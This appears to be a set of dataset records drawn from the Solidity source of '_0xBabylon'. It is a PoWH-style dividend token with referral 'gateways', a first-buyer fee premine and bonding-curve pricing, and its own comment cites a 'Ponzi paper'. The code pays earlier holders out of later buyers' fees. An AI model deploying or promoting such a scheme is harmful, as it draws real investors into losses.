{ allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
getTokensForEther
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; }
// Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices).
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 22180, 22374 ] }
1,488
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
calculateDividendTokens
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; }
// Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 22509, 22738 ] }
1,489
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held 